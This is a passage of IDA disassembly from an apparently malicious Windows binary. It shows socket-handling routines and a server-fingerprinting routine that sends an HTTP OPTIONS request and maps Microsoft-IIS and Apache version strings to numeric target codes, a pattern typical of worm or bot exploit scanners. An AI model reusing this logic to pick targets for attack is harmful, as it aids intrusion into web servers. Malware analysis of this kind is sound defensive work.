locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------

loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CDAE[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CDA6[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------

loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------

loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown	; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------

loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------

loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------

loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------

loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------

loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax

loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------

loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------

loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------

loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------

loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------

loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CD14
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------

loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0

loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------

loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax

loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------

loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------

loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax

loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------

loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------

loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------

loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------

loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CD18
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EBF4
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------

loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------

loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------

loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CD1C
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------

loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CD20
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EBF4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------

loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------

loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------

loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx

loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------

loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------

loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------

loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax

loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77

loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax

loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CD58
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: sub_4167F1+DAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------

loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CDAE[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CDA6[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CDAE[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CDAE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CDAA[eax], 0

loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CDA6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CDA6[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------

loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------

loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CDAE[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CDA6[eax]
		cmp	eax, dword_41CDA6[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------

loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------

loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA

loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------

loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------

loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CE40
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset dword_41CE38
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CE30
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------

loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------

loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
